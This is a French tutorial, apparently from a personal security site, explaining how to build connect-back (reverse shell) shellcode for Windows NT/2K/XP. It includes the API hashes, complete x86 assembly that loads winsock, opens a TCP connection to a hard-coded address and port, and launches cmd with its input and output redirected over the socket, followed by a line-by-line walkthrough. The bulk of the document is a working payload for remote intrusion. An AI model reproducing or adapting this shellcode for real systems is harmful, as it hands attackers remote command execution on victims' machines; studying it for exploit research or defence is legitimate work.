

CONNECTBACK SHELLCODE

<http://www.athias.fr>

Cibles: NT/2K/XP

Taille: 325 376 octets

En général, un shellcode connectback, ou un reverse shell comme il est aussi appelé, est le processus par lequel une connexion TCP est établie vers un hôte distant et une entrée/sortie d'interpréteur de commandes est dirigée vers et depuis la connexion TCP allouée.

Au lieu d'utiliser les appels systèmes, l'on peut utiliser l'API de socket standard fournie par winsock. Malheureusement ces deux méthodes diffèrent vis à vis de la compatibilité entre les systèmes Windows 9x et NT.

La différence majeure est sur les versions basées sur NT, le descripteur de fichier du socket retourné par winsock peut être utilisé comme un handle pour les fonctionnalités de redirection vis à vis des entrées/sorties vers un processus.

Ce n'est pas le cas sous les Windows 9x du fait de l'architecture différente.

Les versions basées sur NT seront majoritairement traités dans ce document, mais une partie d'explication du processus pour Windows 9x sera présentée.

Cette explication commence par assumer que l'adresse de base de kernel32.dll a été trouvée. A partir de là, l'on peut résoudre les symboles suivants dans kernel32.dll :

Nom de la Fonction	Hash
LoadLibraryA	0xec0e4e8e
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

Les symboles se doivent d'être résolus et stockés en mémoire pour une utilisation ultérieure. La prochaine étape est d'utiliser le symbole LoadLibraryA résolu pour charger la librairie winsock : ws2_32.dll. En vérité, ws2_32.dll est presque toujours déjà chargée en mémoire. Le problème est que l'on ne sait pas où elle a été chargée en mémoire. On peut alors utiliser LoadLibraryA pour trouver où elle a été chargée. Si elle doit être chargée, LoadLibraryA va simplement la chargée et retournée l'adresse où elle est mappée. Une fois que ws2_32.dll est mappée dans l'espace du processus, l'on peut utiliser le même mécanisme utilisé pour résoudre les symboles dans kernel32.dll pour résoudre ceux de ws2_32.dll.

Les symboles suivants doivent être résolus et stockés en mémoire pour une utilisation ultérieure :

Nom de la Fonction	Hash
WSASocketA	0xadf509d9
connect	0x60AAF9EC

Avec tous les symboles requis chargés, l'on peut entrer dans le vif du sujet.
Les étapes suivantes décrivent le processus :

1. Créer une socket : créer une socket AF_INET de type SOCK_STREAM pour l'utiliser pour se connecter à un port sur une machine distante. Cela se fait en utilisant la fonction WSAsocketA dont voici le prototype :

```
SOCKET WSAsocket(  
    int af,  
    int type,  
    int protocol,  
    LPWSAPROTOCOL_INFO lpProtocolInfo,  
    GROUP g,  
    DWORD dwFlags);
```

Tous les arguments autres que *af* et *type* doivent être mis à zéro car ils ne sont pas nécessaires.

En cas d'allocation réussie, le nouveau descripteur de fichier sera retourné dans EAX. Ce descripteur de fichier devra être maintenu d'une certaine manière pour l'utiliser plus tard.

2. Se connecter à la machine distante : établir la connexion à la machine distante pour recevoir la sortie de l'interpréteur de commandes. Cela se fait en utilisant la fonction connect dont voici le prototype :

```
int connect(  
    SOCKET s,  
    const struct sockaddr* name,  
    int namelen);
```

Si la connexion est établie avec succès, EAX sera mis à zéro. Il est optionnel de tester ou pas ce fait car les tests d'échecs impactent la taille du shellcode.

3. Exécuter l'interpréteur de commandes. Il faut initialiser une structure requise pour la passer à la fonction CreateProcess. Cette structure est ce qui active l'entrée et sortie à être redirigées correctement. Voici la déclaration de la structure STARTUPINFO suivie du prototype de CreateProcess :

```
typedef struct _STARTUPINFO {  
    DWORD cb;  
    ...  
    DWORD dwFlags;  
    ...  
    HANDLE hStdInput;  
    HANDLE hStdOutput;  
    HANDLE hStdError;  
} STARTUPINFO;
```

```

BOOL CreateProcess(
    LPCTSTR lpApplicationName,
    LPTSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCTSTR lpCurrentDirectory,
    LPSTARTUPINFO lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation);

```

La structure STARTUPINFO nécessite que l’attribut *cb* soit paramétré avec la taille de la structure qui pour toutes les versions de Windows est 0x44.

Les trois handles sont utilisés pour spécifier ce qui sera utilisé pour l’entrée standard logique, la sortie standard et les descripteurs d’erreur standards. Dans notre cas, ils doivent tous être définis avec le descripteur de fichier retourné par WSASocketA. C’est ce qui va provoquer la redirection.

L’attribut *dwFlags* doit avoir le flag STARTF_USESTDHANDLES défini pour indiquer que CreateProcess doit faire attention aux handles. (*c’est la partie qui est incompatible avec Windows 9x. Le descripteur retourné par WSASocketA n’est pas valide pour l’utiliser comme handle dans le contexte de STARTUPINFO*).

Une fois la structure STARTUPINFO initialisée, tout ce qu’il reste à faire, c’est un appel à CreateProcess avec l’argument *lpCommandLine* défini à ‘cmd’, le booléen *bInheritHandles* défini à TRUE pour que le fils hérite du descripteur de fichier du socket, et enfin avec les arguments *lpStartupInfo* et *lpProcessInformation* pointant sur les bons endroits.

Les autres arguments doivent être NULL.

4. Quitter le processus parent. Il se doit d’appeler ExitProcess avec l’argument de sortie défini à une valeur arbitraire.

Les 4 étapes précédentes sont tout ce qu’il faut pour implémenter une version de Connectback sur des systèmes basés sur NT. Quelques fonctionnalités que l’on pourrait ajouter est la possibilité d’avoir le processus parent qui attend que le fils quitte avant de se terminer lui-même en utilisant WaitForSingleObject. L’on pourrait aussi souhaité que le processus parent ferme le socket après que le fils se termine. Ces deux étapes ne sont pas absolument nécessaires et gonflent la taille du shellcode.

Un facteur important qui n’a pas été abordé est le fait que WSAStartup n’a pas été appelée. (*WSAStartup est utilisée pour initialiser le sous-système winsock sur Windows. Elle doit être appelée avant que toute autre fonction winsock puisse être utilisée*) La raison est que l’on considère que du fait qu’un exploit à distance est utilisé, WSAStartup a déjà été appelée.

Code Assembleur :

```
connectback:  
    jmp startup_bnc  
  
// ...find_kernel32 et find_function...  
  
startup_bnc:  
    jmp startup  
  
resolve_symbols_for_dll:  
    lodsd  
    push eax  
    push edx  
    call find_function  
    mov [edi], eax  
    add esp, 0x08  
    add edi, 0x04  
    cmp esi, ecx  
    jne resolve_symbols_for_dll  
  
resolve_symbols_for_dll_finished:  
    ret  
  
kernel32_symbol_hashes:  
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)  
    EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  
  
ws2_32_symbol_hashes:  
    EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)  
    EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60)  
  
startup:  
    sub esp, 0x60  
    mov ebp, esp  
    jmp get_absolute_address_forward  
  
get_absolute_address_middle:  
    jmp get_absolute_address_end  
  
get_absolute_address_forward:  
    call get_absolute_address_middle  
  
get_absolute_address_end:  
    pop esi  
    call find_kernel32  
    mov edx, eax
```

```
resolve_kernel32_symbols:  
    sub esi, 0x22  
    lea edi, [ebp + 0x04]  
    mov ecx, esi  
    add ecx, 0x0c  
    call resolve_symbols_for_dll  
  
resolve_winsock_symbols:  
    add ecx, 0x08  
    xor eax, eax  
    mov ax, 0x3233  
    push eax  
    push 0x5f327377  
    mov ebx, esp  
    push ecx push edx  
    push ebx  
    call [ebp + 0x04]  
    pop edx  
    pop ecx  
    mov edx, eax  
    call resolve_symbols_for_dll  
  
initialize_cmd:  
    mov eax, 0x646d6301  
    sar eax, 0x08  
    push eax  
    mov [ebp + 0x30], esp  
  
create_socket:  
    xor eax, eax  
    push eax  
    push eax  
    push eax  
    push eax  
    inc eax  
    push eax  
    inc eax  
    push eax  
    call [ebp +0x10]  
    mov esi, eax  
  
do_connect:  
    push 0x0101017f  
    mov eax, 0x5c110102  
    dec ah  
    push eax  
    mov ebx, esp  
    xor eax, eax  
    mov al, 0x10  
    push eax  
    push ebx  
    push esi  
    call [ebp + 0x14]
```

```
initialize_process:  
    xor    ecx, ecx  
    mov    cl, 0x54  
    sub    esp, ecx  
    mov    edi, esp  
    push   edi  
  
zero_structs:  
    xor eax, eax  
    rep stosb  
    pop edi  
  
initialize_structs:  
  
    mov byte ptr [edi], 0x44  
    inc byte ptr [edi + 0x2d]  
    push edi  
    mov eax, esi  
    lea edi, [edi + 0x38]  
    stosd  
    stosd  
    stosd  
    pop edi  
  
execute_process:  
    xor eax, eax  
    lea esi, [edi + 0x44]  
    push esi  
    push edi  
    push eax  
    push eax  
    push eax  
    inc eax  
    push eax  
    dec eax  
    push eax  
    push eax  
    push [ebp + 0x30]  
    push eax  
    call [ebp + 0x08]  
  
exit_process:  
    call [ebp + 0x0c]
```

Description du Code:

jmp startup_bnc

Saute au début du bounce après que la kernel32 soit trouvée et trouve les définitions de find_function

jmp startup

Saute au point d'entrée actuel

lodsd

Charge le hashé de fonction courant stocké dans ESI dans EAX

push eax

Pousse le hashé sur la pile comme deuxième argument de find_function

push edx

Pousse l'adresse de base de la DLL à charger comme le premier argument de find_function

call find_function

Appel find_function pour résoudre le symbole

mov [edi], eax

Sauvegarde la VMA de la fonction dans la mémoire en EDI

add esp, 0x08

Restaure 8 octets sur la pile pour les 2 arguments

add edi, 0x04

Ajoute 4 à EDI pour aller à la prochaine position dans le tableau qui va recevoir la sortie de la VMA

cmp esi, ecx

Vérifie si ESI correspond avec la limite pour stopper la recherché du symbole

jne resolve_symbols_for_dll

Si les deux addresses sont différentes, on continue de boucler. Sinon on passe au ret

ret

Retour à l'appelant

EMIT 4 LITTLE ENDIAN(0x8e,0x4e,0x0e,0xec)

Stocke le hashé de 4 octets pour LoadLibraryA depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0x72,0xfe,0xb3,0x16)

Stocke le hashé de 4 octets pour CreateProcessA depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0x7e,0xd8,0xe2,0x73)

Stocke le hashé de 4 octets pour ExitProcess depuis kernel32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0xd9,0x09,0xf5,0xad)

Stocke le hashé de 4 octets pour WSA Socket depuis ws2 32.dll inline dans le shellcode

EMIT 4 LITTLE ENDIAN(0xec,0xf9,0xaa,0x60)

Stocke le hashé de 4 octets pour connect depuis ws2 32.dll inline dans le shellcode

sub esp, 0x60

Alloue 0x60 octets de l'espace de la pile pour l'utilisation avec le pointeur de la fonction de stockage de la VMA et les handles

mov ebp, esp

Utilise EBP comme le pointeur de frame à travers le code

jmp get_absolute_address_forward

Saute plus loin après le milieu

jmp get_absolute_address_end

Saute à la fin maintenant que l'adresse de retour a été obtenue

call get_absolute_address_middle

Appel précédents pour pousser la VMA qui pointe sur 'pop esi' sur la pile

pop esi

Pop l'adresse de retour de la pile dans ESI

call find_kernel32

Appel find_kernel32 pour résoudre l'adresse de base de kernel32.dll

mov edx, eax

Sauvegarde l'adresse de base de kernel32.dll dans EDX

sub esi, 0x22

Soustrait 0x22 à ESI pour pointer sur la première entrée dans la liste de table de hash. Ce paramètre sera utilisé comme l'adresse source pour résoudre les symboles pour la DLL

lea edi, [ebp + 0x04]

Défini EDI au pointeur de frame plus 0x04. Cette adresse sera utilisée pour stocker la VMA des hashés correspondants

mov ecx, esi

Défini ECX à ESI

add ecx, 0x0c

Ajoute 0x0c à ECX pour indiquer que la limite d'arrêt pour cette DLL est 12 octets après ESI. Cela est déterminé par le fait que trios symbols sont en train d'être chargés depuis kernel32.dll

call resolve_symbols_for_dll

Appel resolve_symbols_for_dll et résout tous les symboles kernel32.dll requis

add ecx, 0x08

Ajoute 0x08 à ECX pour indiquer que la limite d'arrêt pour ws2 32.dll est 8 après la valeur en cours dans ESI. Cela est déterminé par le fait que deux symboles sont en train d'être chargés depuis ws2 32.dll.

xor eax, eax

Met EAX à zéro, ainsi les octets de poids forts sont à zéro

mov ax, 0x3233

Défini les octets de poids faibles de EAX à '32'.

push eax

Pousse la chaîne '32' terminée par des zéros sur la pile

push 0x5f327377

Pousse la chaîne 'ws2 ' sur la pile pour compléter la chaîne 'ws2 32'.

mov ebx, esp

Sauvegarde le pointeur sur 'ws2 32' dans EBX.

push ecx

Préserve ECX car il peut être modifié à travers l'appel à la fonction LoadLibraryA.

push edx

Préserve EDX car il peut être modifié à travers l'appel à la fonction LoadLibraryA.

push ebx

Pousse le pointeur sur la chaîne 'ws2 32' comme premier argument de LoadLibraryA.

call [ebp + 0x04]

Appel LoadLibraryA et mappe ws2 32.dll dans l'espace processus

pop edx

Restaure l'EDX préservé

pop ecx

Restaure l'ECX préservé

mov edx, eax

Sauvegarde l'adresse de base de ws2 32.dll dans EDX

call resolve_symbols_for_dll

Appel resolve_symbols_for_dll et résout tous les symboles requis de ws2 32.dll

mov eax, 0x646d6301

Défini EAX à 0x01'cmd'.

sar eax, 0x08

Shift EAX dans les 8 bits de droite pour créer un NULL après 'cmd'.

push eax

Pousse 'cmd' sur la pile

mov [ebp + 0x30], esp

Sauvegarde le pointeur vers 'cmd' pour une utilisation ultérieure

xor eax, eax

Met EAX à zero pour l'utiliser pour passer les arguments NULL

push eax

Pousse l'argument dwFlags argument to WSASocket comme 0.

push eax

Pousse l'argument g à WSASocket comme 0.

push eax

Pousse l'argument lpProtocolInfo à WSASocket comme NULL.

push eax

Pousse l'argument protocol à WSASocket comme 0.

inc eax

Incrémente EAX de 1.

push eax

Pousse l'argument type à WSASocket comme SOCK STREAM.

inc eax

Incrémente EAX de 2.

push eax

Pousse l'argument af à WSASocket comme AF INET.

call [ebp + 0x10]

Appel WSASocket pour allouer un socket pour utilisation ultérieure

mov esi, eax

Sauvegarde le descripteur de fichier du socket dans ESI

push 0x0101017f

Pousse l'adresse de la machine distante dans l'ordre d'un octet réseau. Dans notre cas 127.1.1.1.

mov eax, 0x5c110102

Défini les octets hauts de EAX avec le port auquel se connecter dans l'ordre d'un octet réseau. Les octets bas doivent être définis avec la famille, dans notre cas AF INET (Le 0x01 dans le deuxième octet d'EAX doit actuellement être 0x00. Il est défini à 0x01 pour éviter un octet nul).

dec ah

Décrémente le second octet d'EAX pour le mettre à zéro et avoir la famille correctement définie à AF INET.

push eax

Pousse les attributs sin_port sin et sin_family

mov ebx, esp

Défini EBX comme pointeur sur la structure sockaddr_in qui a été initialisée sur la pile

xor eax, eax

Met à zéro EAX.

mov al, 0x10

Défini l'octet faible d'EAX à 16 pour représenter la taille de la structure sockaddr_in.

push eax

Pousse l'argument namelen argument qui a été défini à 16

push ebx

Pousse l'argument name qui a été défini par la structure sockaddr_in initialisée sur la pile

push esi

Pousse l'argument s comme le descripteur de fichier qui a été retourné précédemment depuis WSASocket.

call [ebp + 0x14]

Appel connect pour établir une connexion TCP à la machine distante sur le port spécifié

xor ecx, ecx

Met à zéro ECX.

mov cl, 0x54

Défini l'octet faible d'ECX à 0x54 qui sera utilisé pour représenter la taille des structures STARTUPINFO et PROCESS INFORMATION sur la pile

sub esp, ecx

Alloue l'espace pile pour les deux structures.

mov edi, esp

Configure EDI pour pointer sur la structure STARTUPINFO.

push edi

Préserve EDI sur la pile car il peut être modifié par les instructions suivantes

xor eax, eax

Met EAX à zéro pour l'utiliser avec stosb pour mettre à zéro les deux structures.

rep stosb

Répète le stockage de zéro dans le buffer commençant en EDI jusqu'à ce qu'ECX vaille zéro

pop edi

Restaure EDI à sa valeur initiale

mov byte ptr [edi], 0x44

Configure l'attribut cb de STARTUPINFO à 0x44 (la taille de la structure).

inc byte ptr [edi + 0x2d]

Configure le flag STARTF_USESTDHANDLES pour indiquer que les attributs hStdInput, hStdOutput, et hStdError doivent être utilisés.

push edi

Préserve à nouveau EDI comme il va être modifié par le stosd.

mov eax, esi

Défini EAX en descripteur de fichier qui a été retourné par WSASocket.

lea edi, [edi + 0x38]

Charge l'adresse effective de l'attribut hStdInput dans la structure STARTUPINFO.

stosd

Défini l'attribut hStdInput en descripteur de fichier qui a été retourné par WSASocket.

stosd

Défini l'attribut hStdOutput en descripteur de fichier retourné par WSASocket.

stosd

Défini l'attribut hStdError en descripteur de fichier qui a été retourné par WSASocket.

pop edi

Restaure EDI à sa valeur initiale

xor eax, eax

Met EAX à zéro pour l'utiliser à passer les arguments à zéro

lea esi, [edi + 0x44]

Charge l'adresse effective de la structure PROCESS_INFORMATION dans ESI

push esi

Pousse le pointeur sur la structure lpProcessInformation.

push edi

Pousse le pointeur sur la structure lpStartupInfo.

push eax

Pousse l'argument lpStartupDirectory à NULL.

push eax

Pousse l'argument lpEnvironment à NULL.

push eax

Pousse l'argument dwCreationFlags à 0.

inc eax

Incrémente EAX de 1.

push eax

Pousse l'argument bInheritHandles à TRUE du fait que le client nécessite d'hériter du descripteur de fichier

dec eax

Décrémente EAX pour zéro

push eax

Pousse l'argument lpThreadAttributes à NULL.

push eax

Pousse l'argument lpProcessAttributes à NULL.

push [ebp + 0x30]

Pousse l'argument lpCommandLine comme pointeur sur 'cmd'.

push eax

Pousse l'argument lpApplicationName à NULL.

call [ebp + 0x08]

Appel CreateProcessA pour créer le processus fils qui a son entrée et sortie redirigées depuis et vers la machine distante via la connexion TCP.

call [ebp + 0x0c]

Appel ExitProcess comme le parent n'a plus besoin de s'exécuter

Remerciements :

A toute l'équipe METASPLOIT (<http://www.metasploit.com>)

A ma chérie ;-X

A vous et à ceux qui me soutiennent